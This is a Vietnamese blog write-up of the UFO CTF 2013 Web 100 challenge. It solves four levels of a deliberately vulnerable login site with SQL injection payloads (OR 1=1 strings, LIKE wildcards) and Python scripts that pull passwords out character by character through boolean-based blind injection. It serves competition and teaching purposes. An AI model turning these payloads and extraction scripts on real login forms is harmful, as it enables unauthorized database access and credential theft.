[Writeup] [UFO CTF 2013] Web (100)

Standard

Lời nói đầu

Nội dung chính

Level 1

Truy cập:

http://a1galaxy.tasks.ufoctf.ru/

24-07-2013 09-30-09

Nhập:

username = ' OR 1=1 OR '
password = ' OR 1=1 OR '

24-07-2013 09-31-48

Ok, chúng ta thích dùng dấu nháy đơn, nhưng có thể người khác họ thích dùng nháy kép. Chẳng hạn họ viết câu query:

SELECT ... FROM ... WHERE xxx = "$a"

Như thế thì cách trên của ta không được là đúng thôi. Thử lại với:

username = " OR 1=1 OR "
password = " OR 1=1 OR "

24-07-2013 09-34-28

Thử nhập ” OR 1=1 OR “ vào level1, thấy vẫn bị báo lỗi, nên ta hiểu rằng ở vòng này thì password level1 đã được escapse đầy đủ trước khi đưa vào query. Nhưng thu được 1 cái đó là username = admin1.

Nhấn Get back để quay lại level1 và giải quyết nó. Bắt đầu bằng việc đoán đại tên cột trong CDSL là password (nếu không ra sẽ mò sau), tiến hành công việc truyền thống là dò từng ký tự.

Lưu ý rằng chúng ta không biết được những ký tự nào sẽ tham gia vào password (có thể nó chỉ là [0..9], có thể là [a..zA..Z], cũng có thể là một loạt ký tự linh tinh nào đó). Chúng ta tốt nhất nên xác định length của password nếu có thể, để khi dò từng ký tự, nếu đến vị trí nào đó không tìm ra, ta còn biết là password đã kết thúc hay chưa (nếu chưa thì sẽ cần bổ sung đến các ký tự ít được sử dụng).

import urllib, urllib2

length = 0
while (True):
	length += 1
	print length

	data = [('username', 'admin1'),
	('password', '" OR length(password) == {0} OR "'.format(length)),
	('csrf_token', ''),
	('confirm', 'yes')]
	data = urllib.urlencode(data)

	url = 'http://a1galaxy.tasks.ufoctf.ru/'
	req = urllib2.Request(url, data)
	req.add_header('Content-type', 'application/x-www-form-urlencoded')

	source = urllib2.urlopen(req).read()
	if ('wrong' not in source):
		break

print 'Password.length = ' + str(length)

Password.length = 22

Giờ thì Get back và dò key:

import urllib, urllib2

flag = ''
for i in range(1, 23):
	for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
		data = [('username', 'admin1'),
		('password', '" OR substr(password, {0}, 1) == "{1}" OR "'.format(i, c)),
		('csrf_token', ''),
		('confirm', 'yes')]
		data = urllib.urlencode(data)

		url = 'http://a1galaxy.tasks.ufoctf.ru/'
		req = urllib2.Request(url, data)
		req.add_header('Content-type', 'application/x-www-form-urlencoded')

		source = urllib2.urlopen(req).read()
		if ('wrong' not in source):
			flag += c
			print flag

			break

MyPasswordIsNotTheFlag

Level 2

24-07-2013 10-09-12

Với level2, thử cách cũ không ăn thua. Quay về lời gợi ý:

Hãy nghĩ đến mọi cách có thể dùng khi so sánh string.

Ok, ngoài so sánh == chúng ta còn có thể dùng LIKE. Tiếp tục hy vọng xâu này sẽ không bị escapse ký tự % (điều này cũng thường thôi, mình từng thấy nhiều người escapse thủ công bằng việc chỉ thay thế ký tự nháy đơn/nháy kép :”>):

username = admin1
level1_password = MyPasswordIsNotTheFlag
level2_password = %

24-07-2013 10-23-57

Được được, vậy là đã có hướng. Bắt đầu giải từ level2, cũng bằng cách lấy dần từng ký tự. Cần lưu ý rằng, vì mỗi khi tìm đúng ký tự nào đó, ta sẽ được chuyển sang level 3, nên nếu muốn xét các ký tự tiếp theo thì cần Get back để tránh việc giải quyết nhầm level >.<. Thêm nữa, do server sử dụng cookie với biến PHPSESSID để lưu trạng thái level của ta, nên cũng cần có biến này đối với những level > 1.

import urllib, urllib2

cookie = 'PHPSESSID=12345'

def go_back():
	req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/?getback')
	req.add_header('Cookie', cookie)
	urllib2.urlopen(req).read()

def pass_level_1():
	data = [('username', 'admin1'),
		('password', 'MyPasswordIsNotTheFlag'),
		('csrf_token', ''),
		('confirm', 'yes')]
	data = urllib.urlencode(data)

	req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/', data)
	req.add_header('Content-type', 'application/x-www-form-urlencoded')
	req.add_header('Cookie', cookie)
	urllib2.urlopen(req).read()

flag = ''
while (True):
	found = False
	go_back()
	pass_level_1()

	for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
		data = [('username', 'admin1'),
				('level1_password', 'MyPasswordIsNotTheFlag'),
				('level2_password', '{0}{1}%'.format(flag, c)),
				('csrf_token', ''),
				('confirm', 'yes')]
		data = urllib.urlencode(data)

		req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/', data)
		req.add_header('Content-type', 'application/x-www-form-urlencoded')
		req.add_header('Cookie', cookie)

		source = urllib2.urlopen(req).read()
		if ('wrong' not in source):
			found = True
			flag += c
			print flag

			break

	if (not found):
		break
0
0x
0x4
0x42

Ok, vì rằng đây là so sánh sử dụng LIKE, nên với 0x42, chúng ta có 2 trường hợp là 0x420X42. Dùng sao cũng được.

Level 3

24-07-2013 20-01-53

Lại thử lần lượt với:

level3_password = ' OR 1=1 OR '
level3_password_confirm = ' OR 1=1 OR '
level3_password = " OR 1=1 OR "
level3_password_confirm = " OR 1=1 OR "
level3_password = %
level3_password_confirm = %

Ngay lần thử đầu tiên (‘ OR 1=1 OR ‘), thay vì nhận được thông báo:

These queries failed: password3.1 password3.2

Thì chúng ta đã nhận được những dòng chữ đáng yêu hơn:

These queries failed: password3.2

Vậy có nghĩa là, dường như level3_password_confirm (ứng với password3.1) thì được escapse đầy đủ, còn level3_password (ứng với password3.1) thì không. Do 2 password này giống nhau, nên nếu ta tìm được level3_password thì vấn đề sẽ được giải quyết.

Lấy độ dài password

import urllib, urllib2

for i in range(0, 30):
	data = [('username', 'admin1'),
	('level1_password', 'MyPasswordIsNotTheFlag'),
	('level2_password', '0x42'),
	('level3_password', "' OR length(password) = {0} OR '".format(i)),
	('level3_password_confirm', "' OR length(password) = {0} OR '".format(i)),
	('csrf_token', '1'),
	('confirm', 'yes')]
	data = urllib.urlencode(data)

	url = 'http://a1galaxy.tasks.ufoctf.ru/'
	req = urllib2.Request(url, data)
	req.add_header('Content-type', 'application/x-www-form-urlencoded')
	req.add_header('Cookie', 'PHPSESSID=s4j241ol04ibnm2f8f74t5hef4')

	source = urllib2.urlopen(req).read()
	message = source.split('<h3 class="error">')[1].split('</h3>')[0]
	print '{0}'.format(i) + ': ' + message
	if ('password3.1' not in source):
		print 'Password.length = ' + '{0}'.format(i)

		break
Password.length = 12

Lấy password

import urllib, urllib2

cookie = 'PHPSESSID=12345'

def go_back():
	req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/?getback')
	req.add_header('Cookie', cookie)
	urllib2.urlopen(req).read()

def pass_level_1():
	data = [('username', 'admin1'),
			('password', 'MyPasswordIsNotTheFlag'),
			('csrf_token', ''),
			('confirm', 'yes')]
	data = urllib.urlencode(data)

	req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/', data)
	req.add_header('Content-type', 'application/x-www-form-urlencoded')
	req.add_header('Cookie', cookie)
	urllib2.urlopen(req).read()

def pass_level_2():
	data = [('username', 'admin1'),
			('level1_password', 'MyPasswordIsNotTheFlag'),
			('level2_password', '0x42'),
			('csrf_token', ''),
			('confirm', 'yes')]
	data = urllib.urlencode(data)

	req = urllib2.Request('http://a1galaxy.tasks.ufoctf.ru/', data)
	req.add_header('Content-type', 'application/x-www-form-urlencoded')
	req.add_header('Cookie', cookie)

	urllib2.urlopen(req).read()

flag = ''
go_back()
pass_level_1()
pass_level_2()

for i in range(1, 13):
	found = False
	for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
		data = [('username', 'admin1'),
		('password', 'MyPasswordIsNotTheFlag'),
		('level1_password', 'MyPasswordIsNotTheFlag'),
		('level2_password', '0x42'),
		('level3_password', "' OR substr(password, {0}, 1) == '{1}".format(i, c)),
		('level3_password_confirm', "' OR substr(password, {0}, 1) == '{1}".format(i, c)),
		('csrf_token', '1'),
		('confirm', 'yes')]
		data = urllib.urlencode(data)

		url = 'http://a1galaxy.tasks.ufoctf.ru/'
		req = urllib2.Request(url, data)
		req.add_header('Content-type', 'application/x-www-form-urlencoded')
		req.add_header('Cookie', cookie)

		source = urllib2.urlopen(req).read()
		message = source.split('<h3 class="error">')[1].split('</h3>')[0]
		print c + ': ' + message
		if ('3.1' not in source):
			found = True
			flag += c
			print flag

			break
	if (not found):
		print 'end'
		break
7h3

Mới chỉ có length = 3, như vậy là ta cần bổ sung thêm các ký tự đặc biệt khác. Thử thêm vài cái phổ biến như sau (cho vào đầu chắc là sẽ nhanh hơn ^_^):

for c in '~!@#$%^&*()_+0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':

Chạy lại:

7h3_1457_0n3

Xong, length đã = 12.

Level 4

24-07-2013 20-23-56

Thật là đầy kinh hãi >.< >.< >.< Cơ mà nhấn vô link để lấy flag thôi😡

The key is: A1_Galaxy_is_sooo_vulnerable’ or 1=1 — 1337

Hết bài. 1337 là một giá trị khá đặc biệt, đã từng thấy nó ở DIMVA CTF vài ngày trước, và giờ lại thấy nữa. Tham khảo thêm tại:

Password của level3, như thế, có nghĩa là the_last_one.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s